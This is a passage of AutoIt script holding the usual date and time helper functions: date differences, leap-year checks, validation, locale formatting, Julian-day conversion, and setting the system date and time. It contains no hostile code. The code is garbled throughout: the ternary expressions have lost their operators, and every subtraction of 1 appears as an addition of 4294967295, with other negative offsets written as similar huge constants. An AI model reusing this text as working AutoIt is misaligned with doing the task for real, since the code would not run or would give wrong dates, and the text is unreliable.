LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Year" , BITAND ($IFORMAT , $MONDAY_IS_NO1 ) 2007 2006 )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Month" , 1 )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Day" , $IDAYNUM )
RETURN _WINAPI_GETDATEFORMAT (BITAND ($IFORMAT , $DMW_LOCALE_LONGNAME ) $LOCALE_USER_DEFAULT $LOCALE_INVARIANT , $TSYSTEMTIME , 0 , BITAND ($IFORMAT , $DMW_SHORTNAME ) "ddd" "dddd" )
ENDFUNC
FUNC _DATEDAYSINMONTH ($IYEAR , $IMONTHNUM )
$IMONTHNUM = INT ($IMONTHNUM )
$IYEAR = INT ($IYEAR )
RETURN __DATEISMONTH ($IMONTHNUM ) AND __DATEISYEAR ($IYEAR ) _DAYSINMONTH ($IYEAR ) [$IMONTHNUM ] SETERROR (1 , 0 , 0 )
ENDFUNC
FUNC _DATEDIFF ($STYPE , $SSTARTDATE , $SENDDATE )
$STYPE = STRINGLEFT ($STYPE , 1 )
IF STRINGINSTR ("d,m,y,w,h,n,s" , $STYPE ) = 0 OR $STYPE = "" THEN
RETURN SETERROR (1 , 0 , 0 )
ENDIF
IF NOT _DATEISVALID ($SSTARTDATE ) THEN
RETURN SETERROR (2 , 0 , 0 )
ENDIF
IF NOT _DATEISVALID ($SENDDATE ) THEN
RETURN SETERROR (3 , 0 , 0 )
ENDIF
LOCAL $ASSTARTDATEPART [4 ] , $ASSTARTTIMEPART [4 ] , $ASENDDATEPART [4 ] , $ASENDTIMEPART [4 ]
_DATETIMESPLIT ($SSTARTDATE , $ASSTARTDATEPART , $ASSTARTTIMEPART )
_DATETIMESPLIT ($SENDDATE , $ASENDDATEPART , $ASENDTIMEPART )
LOCAL $ADAYSDIFF = _DATETODAYVALUE ($ASENDDATEPART [1 ] , $ASENDDATEPART [2 ] , $ASENDDATEPART [3 ] ) - _DATETODAYVALUE ($ASSTARTDATEPART [1 ] , $ASSTARTDATEPART [2 ] , $ASSTARTDATEPART [3 ] )
LOCAL $ITIMEDIFF , $IYEARDIFF , $ISTARTTIMEINSECS , $IENDTIMEINSECS
IF $ASSTARTTIMEPART [0 ] > 1 AND $ASENDTIMEPART [0 ] > 1 THEN
$ISTARTTIMEINSECS = $ASSTARTTIMEPART [1 ] * 3600 + $ASSTARTTIMEPART [2 ] * 60 + $ASSTARTTIMEPART [3 ]
$IENDTIMEINSECS = $ASENDTIMEPART [1 ] * 3600 + $ASENDTIMEPART [2 ] * 60 + $ASENDTIMEPART [3 ]
$ITIMEDIFF = $IENDTIMEINSECS - $ISTARTTIMEINSECS
IF $ITIMEDIFF < 0 THEN
$ADAYSDIFF = $ADAYSDIFF + 4294967295
$ITIMEDIFF = $ITIMEDIFF + 24 * 60 * 60
ENDIF
ELSE
$ITIMEDIFF = 0
ENDIF
SELECT
CASE $STYPE = "d"
RETURN $ADAYSDIFF
CASE $STYPE = "m"
$IYEARDIFF = $ASENDDATEPART [1 ] - $ASSTARTDATEPART [1 ]
LOCAL $IMONTHDIFF = $ASENDDATEPART [2 ] - $ASSTARTDATEPART [2 ] + $IYEARDIFF * 12
IF $ASENDDATEPART [3 ] < $ASSTARTDATEPART [3 ] THEN $IMONTHDIFF = $IMONTHDIFF + 4294967295
$ISTARTTIMEINSECS = $ASSTARTTIMEPART [1 ] * 3600 + $ASSTARTTIMEPART [2 ] * 60 + $ASSTARTTIMEPART [3 ]
$IENDTIMEINSECS = $ASENDTIMEPART [1 ] * 3600 + $ASENDTIMEPART [2 ] * 60 + $ASENDTIMEPART [3 ]
$ITIMEDIFF = $IENDTIMEINSECS - $ISTARTTIMEINSECS
IF $ASENDDATEPART [3 ] = $ASSTARTDATEPART [3 ] AND $ITIMEDIFF < 0 THEN $IMONTHDIFF = $IMONTHDIFF + 4294967295
RETURN $IMONTHDIFF
CASE $STYPE = "y"
$IYEARDIFF = $ASENDDATEPART [1 ] - $ASSTARTDATEPART [1 ]
IF $ASENDDATEPART [2 ] < $ASSTARTDATEPART [2 ] THEN $IYEARDIFF = $IYEARDIFF + 4294967295
IF $ASENDDATEPART [2 ] = $ASSTARTDATEPART [2 ] AND $ASENDDATEPART [3 ] < $ASSTARTDATEPART [3 ] THEN $IYEARDIFF = $IYEARDIFF + 4294967295
$ISTARTTIMEINSECS = $ASSTARTTIMEPART [1 ] * 3600 + $ASSTARTTIMEPART [2 ] * 60 + $ASSTARTTIMEPART [3 ]
$IENDTIMEINSECS = $ASENDTIMEPART [1 ] * 3600 + $ASENDTIMEPART [2 ] * 60 + $ASENDTIMEPART [3 ]
$ITIMEDIFF = $IENDTIMEINSECS - $ISTARTTIMEINSECS
IF $ASENDDATEPART [2 ] = $ASSTARTDATEPART [2 ] AND $ASENDDATEPART [3 ] = $ASSTARTDATEPART [3 ] AND $ITIMEDIFF < 0 THEN $IYEARDIFF = $IYEARDIFF + 4294967295
RETURN $IYEARDIFF
CASE $STYPE = "w"
RETURN INT ($ADAYSDIFF / 7 )
CASE $STYPE = "h"
RETURN $ADAYSDIFF * 24 + INT ($ITIMEDIFF / 3600 )
CASE $STYPE = "n"
RETURN $ADAYSDIFF * 24 * 60 + INT ($ITIMEDIFF / 60 )
CASE $STYPE = "s"
RETURN $ADAYSDIFF * 24 * 60 * 60 + $ITIMEDIFF
ENDSELECT
ENDFUNC
FUNC _DATEISLEAPYEAR ($IYEAR )
IF STRINGISINT ($IYEAR ) THEN
SELECT
CASE MOD ($IYEAR , 4 ) = 0 AND MOD ($IYEAR , 100 ) <> 0
RETURN 1
CASE MOD ($IYEAR , 400 ) = 0
RETURN 1
CASE ELSE
RETURN 0
ENDSELECT
ENDIF
RETURN SETERROR (1 , 0 , 0 )
ENDFUNC
FUNC __DATEISMONTH ($INUMBER )
$INUMBER = INT ($INUMBER )
RETURN $INUMBER >= 1 AND $INUMBER <= 12
ENDFUNC
FUNC _DATEISVALID ($SDATE )
LOCAL $ASDATEPART [4 ] , $ASTIMEPART [4 ]
_DATETIMESPLIT ($SDATE , $ASDATEPART , $ASTIMEPART )
IF NOT STRINGISINT ($ASDATEPART [1 ] ) THEN RETURN 0
IF NOT STRINGISINT ($ASDATEPART [2 ] ) THEN RETURN 0
IF NOT STRINGISINT ($ASDATEPART [3 ] ) THEN RETURN 0
$ASDATEPART [1 ] = INT ($ASDATEPART [1 ] )
$ASDATEPART [2 ] = INT ($ASDATEPART [2 ] )
$ASDATEPART [3 ] = INT ($ASDATEPART [3 ] )
LOCAL $INUMDAYS = _DAYSINMONTH ($ASDATEPART [1 ] )
IF $ASDATEPART [1 ] < 1000 OR $ASDATEPART [1 ] > 2999 THEN RETURN 0
IF $ASDATEPART [2 ] < 1 OR $ASDATEPART [2 ] > 12 THEN RETURN 0
IF $ASDATEPART [3 ] < 1 OR $ASDATEPART [3 ] > $INUMDAYS [$ASDATEPART [2 ] ] THEN RETURN 0
IF $ASTIMEPART [0 ] < 1 THEN RETURN 1
IF $ASTIMEPART [0 ] < 2 THEN RETURN 0
IF $ASTIMEPART [0 ] = 2 THEN $ASTIMEPART [3 ] = "00"
IF NOT STRINGISINT ($ASTIMEPART [1 ] ) THEN RETURN 0
IF NOT STRINGISINT ($ASTIMEPART [2 ] ) THEN RETURN 0
IF NOT STRINGISINT ($ASTIMEPART [3 ] ) THEN RETURN 0
$ASTIMEPART [1 ] = INT ($ASTIMEPART [1 ] )
$ASTIMEPART [2 ] = INT ($ASTIMEPART [2 ] )
$ASTIMEPART [3 ] = INT ($ASTIMEPART [3 ] )
IF $ASTIMEPART [1 ] < 0 OR $ASTIMEPART [1 ] > 23 THEN RETURN 0
IF $ASTIMEPART [2 ] < 0 OR $ASTIMEPART [2 ] > 59 THEN RETURN 0
IF $ASTIMEPART [3 ] < 0 OR $ASTIMEPART [3 ] > 59 THEN RETURN 0
RETURN 1
ENDFUNC
FUNC __DATEISYEAR ($INUMBER )
RETURN STRINGLEN ($INUMBER ) = 4
ENDFUNC
FUNC _DATELASTWEEKDAYNUM ($IWEEKDAYNUM )
SELECT
CASE NOT STRINGISINT ($IWEEKDAYNUM )
RETURN SETERROR (1 , 0 , 0 )
CASE $IWEEKDAYNUM < 1 OR $IWEEKDAYNUM > 7
RETURN SETERROR (2 , 0 , 0 )
CASE ELSE
LOCAL $ILASTWEEKDAYNUM
IF $IWEEKDAYNUM = 1 THEN
$ILASTWEEKDAYNUM = 7
ELSE
$ILASTWEEKDAYNUM = $IWEEKDAYNUM + 4294967295
ENDIF
RETURN $ILASTWEEKDAYNUM
ENDSELECT
ENDFUNC
FUNC _DATELASTMONTHNUM ($IMONTHNUM )
SELECT
CASE NOT STRINGISINT ($IMONTHNUM )
RETURN SETERROR (1 , 0 , 0 )
CASE NOT __DATEISMONTH ($IMONTHNUM )
RETURN SETERROR (2 , 0 , 0 )
CASE ELSE
LOCAL $ILASTMONTHNUM
IF $IMONTHNUM = 1 THEN
$ILASTMONTHNUM = 12
ELSE
$ILASTMONTHNUM = $IMONTHNUM + 4294967295
ENDIF
$ILASTMONTHNUM = STRINGFORMAT ("%02d" , $ILASTMONTHNUM )
RETURN $ILASTMONTHNUM
ENDSELECT
ENDFUNC
FUNC _DATELASTMONTHYEAR ($IMONTHNUM , $IYEAR )
SELECT
CASE NOT STRINGISINT ($IMONTHNUM ) OR NOT STRINGISINT ($IYEAR )
RETURN SETERROR (1 , 0 , 0 )
CASE NOT __DATEISMONTH ($IMONTHNUM )
RETURN SETERROR (2 , 0 , 0 )
CASE ELSE
LOCAL $ILASTYEAR
IF $IMONTHNUM = 1 THEN
$ILASTYEAR = $IYEAR + 4294967295
ELSE
$ILASTYEAR = $IYEAR
ENDIF
$ILASTYEAR = STRINGFORMAT ("%04d" , $ILASTYEAR )
RETURN $ILASTYEAR
ENDSELECT
ENDFUNC
FUNC _DATENEXTWEEKDAYNUM ($IWEEKDAYNUM )
SELECT
CASE NOT STRINGISINT ($IWEEKDAYNUM )
RETURN SETERROR (1 , 0 , 0 )
CASE $IWEEKDAYNUM < 1 OR $IWEEKDAYNUM > 7
RETURN SETERROR (2 , 0 , 0 )
CASE ELSE
LOCAL $INEXTWEEKDAYNUM
IF $IWEEKDAYNUM = 7 THEN
$INEXTWEEKDAYNUM = 1
ELSE
$INEXTWEEKDAYNUM = $IWEEKDAYNUM + 1
ENDIF
RETURN $INEXTWEEKDAYNUM
ENDSELECT
ENDFUNC
FUNC _DATENEXTMONTHNUM ($IMONTHNUM )
SELECT
CASE NOT STRINGISINT ($IMONTHNUM )
RETURN SETERROR (1 , 0 , 0 )
CASE NOT __DATEISMONTH ($IMONTHNUM )
RETURN SETERROR (2 , 0 , 0 )
CASE ELSE
LOCAL $INEXTMONTHNUM
IF $IMONTHNUM = 12 THEN
$INEXTMONTHNUM = 1
ELSE
$INEXTMONTHNUM = $IMONTHNUM + 1
ENDIF
$INEXTMONTHNUM = STRINGFORMAT ("%02d" , $INEXTMONTHNUM )
RETURN $INEXTMONTHNUM
ENDSELECT
ENDFUNC
FUNC _DATENEXTMONTHYEAR ($IMONTHNUM , $IYEAR )
SELECT
CASE NOT STRINGISINT ($IMONTHNUM ) OR NOT STRINGISINT ($IYEAR )
RETURN SETERROR (1 , 0 , 0 )
CASE NOT __DATEISMONTH ($IMONTHNUM )
RETURN SETERROR (2 , 0 , 0 )
CASE ELSE
LOCAL $INEXTYEAR
IF $IMONTHNUM = 12 THEN
$INEXTYEAR = $IYEAR + 1
ELSE
$INEXTYEAR = $IYEAR
ENDIF
$INEXTYEAR = STRINGFORMAT ("%04d" , $INEXTYEAR )
RETURN $INEXTYEAR
ENDSELECT
ENDFUNC
FUNC _DATETIMEFORMAT ($SDATE , $STYPE )
LOCAL $ASDATEPART [4 ] , $ASTIMEPART [4 ]
LOCAL $STEMPDATE = "" , $STEMPTIME = ""
LOCAL $SAM , $SPM , $STEMPSTRING = ""
IF NOT _DATEISVALID ($SDATE ) THEN
RETURN SETERROR (1 , 0 , "" )
ENDIF
IF $STYPE < 0 OR $STYPE > 5 OR NOT ISINT ($STYPE ) THEN
RETURN SETERROR (2 , 0 , "" )
ENDIF
_DATETIMESPLIT ($SDATE , $ASDATEPART , $ASTIMEPART )
SWITCH $STYPE
CASE 0
$STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_SSHORTDATE )
IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN
$STEMPDATE = $STEMPSTRING
ELSE
$STEMPDATE = "M/d/yyyy"
ENDIF
IF $ASTIMEPART [0 ] > 1 THEN
$STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_STIMEFORMAT )
IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN
$STEMPTIME = $STEMPSTRING
ELSE
$STEMPTIME = "h:mm:ss tt"
ENDIF
ENDIF
CASE 1
$STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_SLONGDATE )
IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN
$STEMPDATE = $STEMPSTRING
ELSE
$STEMPDATE = "dddd, MMMM dd, yyyy"
ENDIF
CASE 2
$STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_SSHORTDATE )
IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN
$STEMPDATE = $STEMPSTRING
ELSE
$STEMPDATE = "M/d/yyyy"
ENDIF
CASE 3
IF $ASTIMEPART [0 ] > 1 THEN
$STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_STIMEFORMAT )
IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN
$STEMPTIME = $STEMPSTRING
ELSE
$STEMPTIME = "h:mm:ss tt"
ENDIF
ENDIF
CASE 4
IF $ASTIMEPART [0 ] > 1 THEN
$STEMPTIME = "hh:mm"
ENDIF
CASE 5
IF $ASTIMEPART [0 ] > 1 THEN
$STEMPTIME = "hh:mm:ss"
ENDIF
ENDSWITCH
IF $STEMPDATE <> "" THEN
$STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_SDATE )
IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "/" , $STEMPSTRING )
ENDIF
LOCAL $IWDAY = _DATETODAYOFWEEK ($ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] )
$ASDATEPART [3 ] = STRINGRIGHT ("0" & $ASDATEPART [3 ] , 2 )
$ASDATEPART [2 ] = STRINGRIGHT ("0" & $ASDATEPART [2 ] , 2 )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "d" , "@" )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "m" , "#" )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "y" , "&" )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "@@@@" , _DATEDAYOFWEEK ($IWDAY , 0 ) )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "@@@" , _DATEDAYOFWEEK ($IWDAY , 1 ) )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "@@" , $ASDATEPART [3 ] )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "@" , STRINGREPLACE (STRINGLEFT ($ASDATEPART [3 ] , 1 ) , "0" , "" ) & STRINGRIGHT ($ASDATEPART [3 ] , 1 ) )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "####" , _DATETOMONTH ($ASDATEPART [2 ] , 0 ) )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "###" , _DATETOMONTH ($ASDATEPART [2 ] , 1 ) )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "##" , $ASDATEPART [2 ] )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "#" , STRINGREPLACE (STRINGLEFT ($ASDATEPART [2 ] , 1 ) , "0" , "" ) & STRINGRIGHT ($ASDATEPART [2 ] , 1 ) )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "&&&&" , $ASDATEPART [1 ] )
$STEMPDATE = STRINGREPLACE ($STEMPDATE , "&&" , STRINGRIGHT ($ASDATEPART [1 ] , 2 ) )
ENDIF
IF $STEMPTIME <> "" THEN
$STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_S1159 )
IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN
$SAM = $STEMPSTRING
ELSE
$SAM = "AM"
ENDIF
$STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_S2359 )
IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN
$SPM = $STEMPSTRING
ELSE
$SPM = "PM"
ENDIF
$STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_STIME )
IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN
$STEMPTIME = STRINGREPLACE ($STEMPTIME , ":" , $STEMPSTRING )
ENDIF
IF STRINGINSTR ($STEMPTIME , "tt" ) THEN
IF $ASTIMEPART [1 ] < 12 THEN
$STEMPTIME = STRINGREPLACE ($STEMPTIME , "tt" , $SAM )
IF $ASTIMEPART [1 ] = 0 THEN $ASTIMEPART [1 ] = 12
ELSE
$STEMPTIME = STRINGREPLACE ($STEMPTIME , "tt" , $SPM )
IF $ASTIMEPART [1 ] > 12 THEN $ASTIMEPART [1 ] = $ASTIMEPART [1 ] + 4294967284
ENDIF
ENDIF
$ASTIMEPART [1 ] = STRINGRIGHT ("0" & $ASTIMEPART [1 ] , 2 )
$ASTIMEPART [2 ] = STRINGRIGHT ("0" & $ASTIMEPART [2 ] , 2 )
$ASTIMEPART [3 ] = STRINGRIGHT ("0" & $ASTIMEPART [3 ] , 2 )
$STEMPTIME = STRINGREPLACE ($STEMPTIME , "hh" , STRINGFORMAT ("%02d" , $ASTIMEPART [1 ] ) )
$STEMPTIME = STRINGREPLACE ($STEMPTIME , "h" , STRINGREPLACE (STRINGLEFT ($ASTIMEPART [1 ] , 1 ) , "0" , "" ) & STRINGRIGHT ($ASTIMEPART [1 ] , 1 ) )
$STEMPTIME = STRINGREPLACE ($STEMPTIME , "mm" , STRINGFORMAT ("%02d" , $ASTIMEPART [2 ] ) )
$STEMPTIME = STRINGREPLACE ($STEMPTIME , "ss" , STRINGFORMAT ("%02d" , $ASTIMEPART [3 ] ) )
$STEMPDATE = STRINGSTRIPWS ($STEMPDATE & " " & $STEMPTIME , $STR_STRIPLEADING + $STR_STRIPTRAILING )
ENDIF
RETURN $STEMPDATE
ENDFUNC
FUNC _DATETIMESPLIT ($SDATE , BYREF $ADATEPART , BYREF $ITIMEPART )
LOCAL $SDATETIME = STRINGSPLIT ($SDATE , " T" )
IF $SDATETIME [0 ] > 0 THEN $ADATEPART = STRINGSPLIT ($SDATETIME [1 ] , "/-." )
IF $SDATETIME [0 ] > 1 THEN
$ITIMEPART = STRINGSPLIT ($SDATETIME [2 ] , ":" )
IF UBOUND ($ITIMEPART ) < 4 THEN REDIM $ITIMEPART [4 ]
ELSE
DIM $ITIMEPART [4 ]
ENDIF
IF UBOUND ($ADATEPART ) < 4 THEN REDIM $ADATEPART [4 ]
FOR $X = 1 TO 3
IF STRINGISINT ($ADATEPART [$X ] ) THEN
$ADATEPART [$X ] = INT ($ADATEPART [$X ] )
ELSE
$ADATEPART [$X ] = + 4294967295
ENDIF
IF STRINGISINT ($ITIMEPART [$X ] ) THEN
$ITIMEPART [$X ] = INT ($ITIMEPART [$X ] )
ELSE
$ITIMEPART [$X ] = 0
ENDIF
NEXT
RETURN 1
ENDFUNC
FUNC _DATETODAYOFWEEK ($IYEAR , $IMONTH , $IDAY )
IF NOT _DATEISVALID ($IYEAR & "/" & $IMONTH & "/" & $IDAY ) THEN
RETURN SETERROR (1 , 0 , "" )
ENDIF
LOCAL $I_FACTORA = INT ((14 - $IMONTH ) / 12 )
LOCAL $I_FACTORY = $IYEAR - $I_FACTORA
LOCAL $I_FACTORM = $IMONTH + (12 * $I_FACTORA ) + 4294967294
LOCAL $I_FACTORD = MOD ($IDAY + $I_FACTORY + INT ($I_FACTORY / 4 ) - INT ($I_FACTORY / 100 ) + INT ($I_FACTORY / 400 ) + INT ((31 * $I_FACTORM ) / 12 ) , 7 )
RETURN $I_FACTORD + 1
ENDFUNC
FUNC _DATETODAYOFWEEKISO ($IYEAR , $IMONTH , $IDAY )
LOCAL $IDOW = _DATETODAYOFWEEK ($IYEAR , $IMONTH , $IDAY )
IF @ERROR THEN
RETURN SETERROR (1 , 0 , "" )
ENDIF
IF $IDOW >= 2 THEN RETURN $IDOW + 4294967295
RETURN 7
ENDFUNC
FUNC _DATETODAYVALUE ($IYEAR , $IMONTH , $IDAY )
IF NOT _DATEISVALID (STRINGFORMAT ("%04d/%02d/%02d" , $IYEAR , $IMONTH , $IDAY ) ) THEN
RETURN SETERROR (1 , 0 , "" )
ENDIF
IF $IMONTH < 3 THEN
$IMONTH = $IMONTH + 12
$IYEAR = $IYEAR + 4294967295
ENDIF
LOCAL $I_FACTORA = INT ($IYEAR / 100 )
LOCAL $I_FACTORB = INT ($I_FACTORA / 4 )
LOCAL $I_FACTORC = 2 - $I_FACTORA + $I_FACTORB
LOCAL $I_FACTORE = INT (1461 * ($IYEAR + 4716 ) / 4 )
LOCAL $I_FACTORF = INT (153 * ($IMONTH + 1 ) / 5 )
LOCAL $IJULIANDATE = $I_FACTORC + $IDAY + $I_FACTORE + $I_FACTORF - 1524.500000
RETURN $IJULIANDATE
ENDFUNC
FUNC _DATETOMONTH ($IMONNUM , $IFORMAT = DEFAULT )
IF $IFORMAT = DEFAULT THEN $IFORMAT = 0
$IMONNUM = INT ($IMONNUM )
IF NOT __DATEISMONTH ($IMONNUM ) THEN RETURN SETERROR (1 , 0 , "" )
LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Year" , @YEAR )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Month" , $IMONNUM )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Day" , 1 )
RETURN _WINAPI_GETDATEFORMAT (BITAND ($IFORMAT , $DMW_LOCALE_LONGNAME ) $LOCALE_USER_DEFAULT $LOCALE_INVARIANT , $TSYSTEMTIME , 0 , BITAND ($IFORMAT , $DMW_SHORTNAME ) "MMM" "MMMM" )
ENDFUNC
FUNC _DAYVALUETODATE ($IJULIANDATE , BYREF $IYEAR , BYREF $IMONTH , BYREF $IDAY )
IF $IJULIANDATE < 0 OR NOT ISNUMBER ($IJULIANDATE ) THEN
RETURN SETERROR (1 , 0 , 0 )
ENDIF
LOCAL $I_FACTORZ = INT ($IJULIANDATE + 0.500000 )
LOCAL $I_FACTORW = INT (($I_FACTORZ - 1867216.250000 ) / 36524.250000 )
LOCAL $I_FACTORX = INT ($I_FACTORW / 4 )
LOCAL $I_FACTORA = $I_FACTORZ + 1 + $I_FACTORW - $I_FACTORX
LOCAL $I_FACTORB = $I_FACTORA + 1524
LOCAL $I_FACTORC = INT (($I_FACTORB - 122.100000 ) / 365.250000 )
LOCAL $I_FACTORD = INT (365.250000 * $I_FACTORC )
LOCAL $I_FACTORE = INT (($I_FACTORB - $I_FACTORD ) / 30.600100 )
LOCAL $I_FACTORF = INT (30.600100 * $I_FACTORE )
$IDAY = $I_FACTORB - $I_FACTORD - $I_FACTORF
IF $I_FACTORE + 4294967295 < 13 THEN
$IMONTH = $I_FACTORE + 4294967295
ELSE
$IMONTH = $I_FACTORE + 4294967283
ENDIF
IF $IMONTH < 3 THEN
$IYEAR = $I_FACTORC + 4294962581
ELSE
$IYEAR = $I_FACTORC + 4294962580
ENDIF
$IYEAR = STRINGFORMAT ("%04d" , $IYEAR )
$IMONTH = STRINGFORMAT ("%02d" , $IMONTH )
$IDAY = STRINGFORMAT ("%02d" , $IDAY )
RETURN $IYEAR & "/" & $IMONTH & "/" & $IDAY
ENDFUNC
FUNC _DATE_JULIANDAYNO ($IYEAR , $IMONTH , $IDAY )
LOCAL $SFULLDATE = STRINGFORMAT ("%04d/%02d/%02d" , $IYEAR , $IMONTH , $IDAY )
IF NOT _DATEISVALID ($SFULLDATE ) THEN
RETURN SETERROR (1 , 0 , "" )
ENDIF
LOCAL $IJDAY = 0
LOCAL $AIDAYSINMONTH = _DAYSINMONTH ($IYEAR )
FOR $ICNTR = 1 TO $IMONTH + 4294967295
$IJDAY = $IJDAY + $AIDAYSINMONTH [$ICNTR ]
NEXT
$IJDAY = ($IYEAR * 1000 ) + ($IJDAY + $IDAY )
RETURN $IJDAY
ENDFUNC
FUNC _JULIANTODATE ($IJDAY , $SSEP = "/" )
LOCAL $IYEAR = INT ($IJDAY / 1000 )
LOCAL $IDAYS = MOD ($IJDAY , 1000 )
LOCAL $IMAXDAYS = 365
IF _DATEISLEAPYEAR ($IYEAR ) THEN $IMAXDAYS = 366
IF $IDAYS > $IMAXDAYS THEN
RETURN SETERROR (1 , 0 , "" )
ENDIF
LOCAL $AIDAYSINMONTH = _DAYSINMONTH ($IYEAR )
LOCAL $IMONTH = 1
WHILE $IDAYS > $AIDAYSINMONTH [$IMONTH ]
$IDAYS = $IDAYS - $AIDAYSINMONTH [$IMONTH ]
$IMONTH = $IMONTH + 1
WEND
RETURN STRINGFORMAT ("%04d%s%02d%s%02d" , $IYEAR , $SSEP , $IMONTH , $SSEP , $IDAYS )
ENDFUNC
FUNC _NOW ()
RETURN _DATETIMEFORMAT (@YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC , 0 )
ENDFUNC
FUNC _NOWCALC ()
RETURN @YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC
ENDFUNC
FUNC _NOWCALCDATE ()
RETURN @YEAR & "/" & @MON & "/" & @MDAY
ENDFUNC
FUNC _NOWDATE ()
RETURN _DATETIMEFORMAT (@YEAR & "/" & @MON & "/" & @MDAY , 0 )
ENDFUNC
FUNC _NOWTIME ($STYPE = 3 )
IF $STYPE < 3 OR $STYPE > 5 THEN $STYPE = 3
RETURN _DATETIMEFORMAT (@YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC , $STYPE )
ENDFUNC
FUNC _SETDATE ($IDAY , $IMONTH = 0 , $IYEAR = 0 )
IF $IYEAR = 0 THEN $IYEAR = @YEAR
IF $IMONTH = 0 THEN $IMONTH = @MON
IF NOT _DATEISVALID ($IYEAR & "/" & $IMONTH & "/" & $IDAY ) THEN RETURN 1
LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
DLLCALL ("kernel32.dll" , "none" , "GetLocalTime" , "struct*" , $TSYSTEMTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Day" , $IDAY )
IF $IMONTH > 0 THEN DLLSTRUCTSETDATA ($TSYSTEMTIME , "Month" , $IMONTH )
IF $IYEAR > 0 THEN DLLSTRUCTSETDATA ($TSYSTEMTIME , "Year" , $IYEAR )
LOCAL $IRETURN = _DATE_TIME_SETLOCALTIME ($TSYSTEMTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN INT ($IRETURN )
ENDFUNC
FUNC _SETTIME ($IHOUR , $IMINUTE , $ISECOND = 0 , $IMSECONDS = 0 )
IF $IHOUR < 0 OR $IHOUR > 23 THEN RETURN 1
IF $IMINUTE < 0 OR $IMINUTE > 59 THEN RETURN 1
IF $ISECOND < 0 OR $ISECOND > 59 THEN RETURN 1
IF $IMSECONDS < 0 OR $IMSECONDS > 999 THEN RETURN 1
LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
DLLCALL ("kernel32.dll" , "none" , "GetLocalTime" , "struct*" , $TSYSTEMTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Hour" , $IHOUR )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Minute" , $IMINUTE )
IF $ISECOND > 0 THEN DLLSTRUCTSETDATA ($TSYSTEMTIME , "Second" , $ISECOND )
IF $IMSECONDS > 0 THEN DLLSTRUCTSETDATA ($TSYSTEMTIME , "MSeconds" , $IMSECONDS )
LOCAL $IRETURN = _DATE_TIME_SETLOCALTIME ($TSYSTEMTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN INT ($IRETURN )
ENDFUNC
FUNC _TICKSTOTIME ($ITICKS , BYREF $IHOURS , BYREF $IMINS , BYREF $ISECS )
IF NUMBER ($ITICKS ) > 0 THEN
$ITICKS = INT ($ITICKS / 1000 )
$IHOURS = INT ($ITICKS / 3600 )
$ITICKS = MOD ($ITICKS , 3600 )
$IMINS = INT ($ITICKS / 60 )
$ISECS = MOD ($ITICKS , 60 )
RETURN 1
ELSEIF NUMBER ($ITICKS ) = 0 THEN
$IHOURS = 0
$ITICKS = 0
$IMINS = 0
$ISECS = 0
RETURN 1
ELSE
RETURN SETERROR (1 , 0 , 0 )
ENDIF
ENDFUNC
FUNC _TIMETOTICKS ($IHOURS = @HOUR , $IMINS = @MIN , $ISECS = @SEC )
